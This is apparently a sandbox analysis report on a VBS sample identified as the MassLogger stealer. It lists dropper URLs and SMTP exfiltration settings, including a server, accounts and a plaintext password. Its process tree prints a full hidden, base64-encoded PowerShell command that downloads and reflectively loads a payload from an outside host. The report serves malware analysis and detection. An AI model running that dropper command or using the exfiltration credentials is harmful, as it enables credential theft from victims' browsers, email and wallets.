Analysis

  • max time kernel
    149s
  • max time network
    111s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    30/01/2026, 12:36

General

  • Target
    Doc N°47255.vbs
  • Size 1.3MB
  • Sample260130-pterfacw7g
  • SHA256 1fe4b1c7d4b24503a9941afaaef7b4a62bb081c522cd4a69c7c51fb879bdcdd9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://digitsgroup.com/wp-includes/zz/optimized_MSI.png

  • exe.dropper

    https://digitsgroup.com/wp-includes/zz/optimized_MSI.png

Extracted

Family
  • masslogger

Attributes
  • exfiltration_mode

    #SMTPEnabled

  • expire_time_date

    2025-05-04

  • host_password

    5=Ln#$?nW-5;a%Pb

  • host_port

    587

  • host_receiver

    [email protected]

  • host_sender

    [email protected]

  • host_server

    mail.miniorangeman.com

  • ssl_slate

    True

Signatures

  • MassLogger

    Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.

  • Masslogger family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Doc N°47255.vbs"
    1⤵
      PID:868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGZpbGVncm91cHMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRmaWxlZ3JvdXBzLkhlYWRlcnMuQWRkKCJVc2VyLUFnZW50IiwgIk1vemlsbGEvNS4wIik7JGZpbGVncm91cHMuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskZmlsZWdyb3Vwcy5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7JHRvbW9ncmFwaCA9ICcjQEAlJDovL2RpZ2lAJGdyb3UlLmNvbS93JS1pbmNsdWRlJC96ei9vJUBpbWl6ZWRfTVNJLiVuZycuUmVwbGFjZSgnIycsICdoJykuUmVwbGFjZSgnQCcsICd0JykuUmVwbGFjZSgnJScsICdwJykuUmVwbGFjZSgnJCcsICdzJyk7JHdhcnB3aXNlID0gJGZpbGVncm91cHMuRG93bmxvYWREYXRhKCR0b21vZ3JhcGgpOyR0b3BvbG9naWMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHdhcnB3aXNlKTtpZiAoJHRvcG9sb2dpYyAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJykgeyAgJHVuc3VzcGVjdGluZ2x5ID0gJG1hdGNoZXNbMV07ICAkYXRyYXRlID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5zdXNwZWN0aW5nbHkpKTsgICRhcmdzQmFzZTY0ID0gJ0p6Qm9TR1IxVVZST2VrVnFUWGRuYWsxNFFXcE9lVUZxVFdZNWJXUndWbGhqZVVZeVRIUTVNbGwxUVZoa2Rrb3pXbXBPVjFwMU9YbE1OazFJWXpCU1NHRW5MQ2N3Snl3blF6cGNWWE5sY25OY1VIVmliR2xqWEVSdmQyNXNiMkZrYzF3bkxDZE9ZVzFsWDBacGJHVW5MQ2RCWkdSSmJsQnliMk5sYzNNek1pY3NKeWNzSjBGa1pFbHVVSEp2WTJWemN6TXlKeXduTUNjc0oxVlNUQ2NzSjBNNlhGVnpaWEp6WEZCMVlteHBZMXhFYjNkdWJHOWhaSE5jSnl3blRtRnRaVjlHYVd4bEp5d25kbUp6Snl3bk1TY3NKekFuTENkVVlYTnJYMDVoYldVbkxDY3dKeXduSnl3bkp5d25Kdz09JzsgICRhcmdzU3RyaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYXJnc0Jhc2U2NCkpOyAgJGFyZ3MgPSAkYXJnc1N0cmluZyAtc3BsaXQgJywnIHwgRm9yRWFjaC1PYmplY3QgeyAkXy5UcmltKCcnJyInICkgfTsgIFtTb2Z0d2FyZS5Qcm9ncmFtXS5HZXRNZXRob2QoIk1haW4iKS5JbnZva2UoJG51bGwsICRhcmdzKTt9')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4948
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1176

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_4wzx13a0.r40.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wzx13a0.r40.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1176-11-0x0000000000400000-0x000000000041C000-memory.dmp

          memory/1176-17-0x00000000061C0000-0x0000000006210000-memory.dmp

          memory/1176-20-0x0000000005000000-0x0000000005010000-memory.dmp

          memory/1176-19-0x0000000006430000-0x000000000643A000-memory.dmp

          memory/1176-18-0x00000000064E0000-0x00000000066A2000-memory.dmp

          memory/1176-16-0x0000000006120000-0x00000000061B2000-memory.dmp

          memory/1176-13-0x0000000005590000-0x0000000005B36000-memory.dmp

          memory/1176-14-0x0000000005080000-0x000000000511C000-memory.dmp

          memory/1176-15-0x0000000005000000-0x0000000005010000-memory.dmp

          memory/4948-1-0x00000268F19C0000-0x00000268F19D0000-memory.dmp

          memory/4948-2-0x00000268F17F0000-0x00000268F1812000-memory.dmp

          memory/4948-10-0x00000268F4B50000-0x00000268F4BC0000-memory.dmp

          memory/4948-9-0x00000268F19C0000-0x00000268F19D0000-memory.dmp

          memory/4948-0-0x00000268F19C0000-0x00000268F19D0000-memory.dmp